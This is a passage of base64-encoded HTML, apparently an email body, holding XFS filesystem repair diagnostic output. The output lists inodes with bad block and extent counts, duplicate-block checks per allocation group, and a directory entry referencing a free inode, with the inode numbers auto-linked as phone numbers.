b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVm PSJ0ZWw6MTcwMTg2OTYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTcwMTg2OTY8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Jm5ic3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE2Mjc5Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTYyNzk8L3U+PC9m b250PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlu byA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDE5MTExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDE5MTExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0 ZWw6OTMxMTQwMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT45MzExNDAzPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmRhdGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNzAxOTExMSI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAxOTExMTwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjkzMTE0MDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+OTMxMTQwNDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMzIwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE3MDE5MTExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE3MDE5MTExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi Piwgd291bGQgcmVzZXQgdG8gMjMyMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gMTwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBh Z25vID0gMjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZu YnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gNDwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5i c3A7LSBhZ25vID0gNTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gNjwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBwcm9jZXNzIG5l d2x5IGRpc2NvdmVyZWQgaW5vZGVzLi4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5QaGFzZSA0IC0gY2hlY2sgZm9yIGR1cGxpY2F0ZSBibG9ja3MuLi48L2ZvbnQ+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNw Oy0gc2V0dGluZyB1cCBkdXBsaWNhdGUgZXh0ZW50IGxpc3QuLi48L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gY2hlY2sg Zm9yIGlub2RlcyBjbGFpbWluZyBkdXBsaWNhdGUgYmxvY2tzLi4uPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8g PSAwPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7 ICZuYnNwOyAmbmJzcDstIGFnbm8gPSAzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSAyPC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDst IGFnbm8gPSA0PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsg Jm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSA1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSAxPC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAm bmJzcDstIGFnbm8gPSA2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5l bnRyeSAmcXVvdDsxMC42LjExNC4xNDgmcXVvdDsgYXQgYmxvY2sgMjk3IG9mZnNldCA0OTYgaW4g ZGlyZWN0b3J5IGlub2RlIDE5MTI1IHJlZmVyZW5jZXMgZnJlZSBpbm9kZSA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2OTI3NzIxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2OTI3NzIxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwO3dvdWxkIGNsZWFyIGlub2RlIG51bWJl ciBpbiBlbnRyeSBhdCBvZmZzZXQgNDk2Li4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyNTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY3NjQ2NjgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY3NjQ2Njg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3Vs ZCByZXNldCB0byAyNTU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJh ZCBuYmxvY2tzIDUzMCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc2Nzg4MiI+PGZv bnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc2Nzg4MjwvdT48 L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDU0 NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjM5 NiBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc3MjU5NiI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc3MjU5NjwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDIzOTU8L2ZvbnQ+PGJy Pg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDYyODQgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3NzU2MTkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3NzU2MTk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA2MjkxPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAxMDMgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY3ODA0OTgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY3ODA0OTg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byAxMDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuZXh0ZW50cyAyNyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4 MDQ5OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4 MDQ5ODwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJl c2V0IHRvIDI2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyA3NiBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4MTk1OSI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4MTk1OTwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDgxPC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQga2V5IGluIGJtYnQgcm9vdCAo aXMgMTg1Niwgd291bGQgcmVzZXQgdG8gMTg0NCkgaW4gaW5vZGUgPC9mb250PjxhIGhyZWY9InRl bDoxNjc4MjA3MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjc4MjA3MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJz cDtkYXRhIGZvcms8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBu YmxvY2tzIDMwNjAgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3ODIwNzAiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3ODIwNzA8L3U+PC9m b250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDU5 PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgNjQy IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzgyMDcwIj48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2NzgyMDcwPC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjQxPC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzMDI5IGZvciBpbm9kZSA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzgzNDAzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2NzgzNDAzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMzA0MzwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgOTI3IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2NzgzNDkzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2NzgzNDkzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi Piwgd291bGQgcmVzZXQgdG8gOTI2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5iYWQgbmJsb2NrcyA5NzcgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3ODM1 NTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3ODM1 NTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNl dCB0byA5NzE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxv Y2tzIDYwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzg2Mzk2Ij48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzg2Mzk2PC91PjwvZm9udD48 L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjU8L2ZvbnQ+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDcxOSBmb3IgaW5v ZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4NjQxNiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4NjQxNjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDcyMTwvZm9udD48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNTYgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY3ODY4MDMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY3ODY4MDM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA2NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmFkIG5ibG9ja3MgNTM2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzg3 MDEwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzg3 MDEwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVz ZXQgdG8gNTM1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyAzMDEgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3OTIwMjYiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3OTIwMjY8L3U+PC9mb250 PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDU8L2Zv bnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwNTkgZm9y IGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3OTIwNTciPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3OTIwNTc8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDQ1PC9mb250Pjxicj4NCjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgNTgwIGZvciBpbm9kZSA8L2Zv bnQ+PGEgaHJlZj0idGVsOjE2NzkyMDU3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjE2NzkyMDU3PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNTc5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA4OCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRl bDoxNjc5MjgyNyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjc5MjgyNzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdv dWxkIHJlc2V0IHRvIDk3PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyAxMTE1IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzk3MzA5Ij48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzk3MzA5PC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8g MTEyMTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3Mg MzA3MiBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgwNTIzNSI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgwNTIzNTwvdT48L2ZvbnQ+PC9h Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMwNzE8L2ZvbnQ+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwNDggZm9yIGlu b2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MDYyNDIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIj MDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MDYyNDI8L3U+PC9mb250PjwvYT48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDU4PC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAxMzU1IGZvciBpbm9kZSA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjE2ODA5ODQwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFj ZT0ic2VyaWYiPjx1PjE2ODA5ODQwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTM1NDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjQ2NyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRl bDoxNjgxMjY5NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjgxMjY5NzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdv dWxkIHJlc2V0IHRvIDI0NjY8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PmJhZCBuYmxvY2tzIDc2NyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgyNDI2OSI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgyNDI2OTwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRv IDc2OTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3Mg Mjc1IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI2MTIwIj48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI2MTIwPC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjc0PC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgOTUgZm9yIGlub2Rl IDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4MjYxMjAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4MjYxMjA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA5NDwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMzA2OSBmb3IgaW5vZGUgPC9mb250PjxhIGhy ZWY9InRlbDoxNjgyODQ3MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNl cmlmIj48dT4xNjgyODQ3MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4sIHdvdWxkIHJlc2V0IHRvIDMwNzU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDE5MyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgy ODc2NyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgy ODc2NzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJl c2V0IHRvIDE4NDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5i bG9ja3MgODE4IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI5MTkyIj48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI5MTkyPC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gODMzPC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA5NyBmb3Ig aW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgzMzY1OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgzMzY1ODwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDkxPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA0OCBmb3IgaW5vZGUgPC9mb250Pjxh IGhyZWY9InRlbDoxNjgzNjAyMCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjgzNjAyMDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4sIHdvdWxkIHJlc2V0IHRvIDQ5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5iYWQgbmJsb2NrcyAxMjM3IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 ODM3NjE1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 ODM3NjE1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQg cmVzZXQgdG8gMTI0OTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFk IG5ibG9ja3MgNjIyIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODQzODU1Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODQzODU1PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjIx PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA4MTEg Zm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY4NTEwNDYiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY4NTEwNDY8L3U+PC9mb250PjwvYT48Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA4MTc8L2ZvbnQ+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDk0IGZvciBpbm9kZSA8L2Zv bnQ+PGEgaHJlZj0idGVsOjE2ODUyOTUyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjE2ODUyOTUyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gOTM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDY0OSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRl bDoxNjg1ODkxOSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48 dT4xNjg1ODkxOTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdv dWxkIHJlc2V0IHRvIDY1NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ YmFkIG5ibG9ja3MgMTIxIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODYxNzgwIj48 Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODYxNzgwPC91 PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8g MTIwPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA5 